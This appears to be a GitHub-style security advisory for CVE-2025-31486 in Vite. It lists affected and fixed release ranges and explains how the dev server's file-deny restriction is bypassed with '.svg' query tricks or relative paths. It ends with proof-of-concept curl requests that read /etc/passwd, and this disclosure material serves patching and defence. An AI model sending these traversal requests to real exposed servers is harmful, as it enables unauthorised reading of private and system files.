Packages / vite / Security

ModerateVulnerabilityGHSA-xcj6-pq6g-qj4xCVE-2025-31486Published 4 Apr 2025

Vite allows server.fs.deny to be bypassed with .svg or relative paths

Affected releases · vite

  • 6.x6.0.0 – 6.2.4Fixed in 6.2.5
  • 5.x5.0.0 – 5.4.16Fixed in 5.4.17
  • 4.x4.0.0 – 4.5.11Fixed in 4.5.12
  • 3.x and older0.1.0 – 3.2.11No fix, no longer updated

On 6.x, the newest line:

npm install vite@6.2.5
8.x

  1. Not affected

    8.0.0 – 8.3.5

    34 releases, latest

6.x

  1. Affected

    6.0.0 – 6.0.13

    14 releases

  2. Fixed

    6.0.14 – 6.0.15

    2 releases

  3. Affected

    6.1.0 – 6.1.3

    4 releases

  4. Fixed

    6.1.4 – 6.1.6

    3 releases

  5. Affected

    6.2.0 – 6.2.4

    5 releases

  6. Fixed

    6.2.5 – 6.4.5

    17 releases

5.x

  1. Affected

    5.0.0 – 5.4.16

    62 releases

  2. Fixed

    5.4.17 – 5.4.21

    5 releases

4.x

  1. Affected

    4.0.0 – 4.5.11

    50 releases

  2. Fixed

    4.5.12 – 4.5.14

    3 releases

3.x

  1. Affected

    3.0.0 – 3.2.11

    30 releases

2.x

  1. Affected

    2.0.0 – 2.9.18

    97 releases

0.x

  1. Affected

    0.1.0 – 0.20.10

    78 releases

440 stable releases of vite, oldest to newest, one row per major.

Is your project affected?

Paste your package.json, or type the range you declare for vite. It is read in your browser and sent nowhere.

What happens

Summary

The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Details

.svg

Requests ending with .svg are loaded at this line. github.com/vitejs/vite/blob/037f801075ec35bb6e5… By adding ?.svg with ?.wasm?init or with sec-fetch-dest: script header, the restriction was able to bypass.

This bypass is only possible if the file is smaller than build.assetsInlineLimit (default: 4kB) and when using Vite 6.0+.

relative paths

The check was applied before the id normalization. This allowed requests to bypass with relative paths (e.g. ../../).

PoC

npm create vite@latest
cd vite-project/
npm install
npm run dev

send request to read etc/passwd

curl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init'
curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'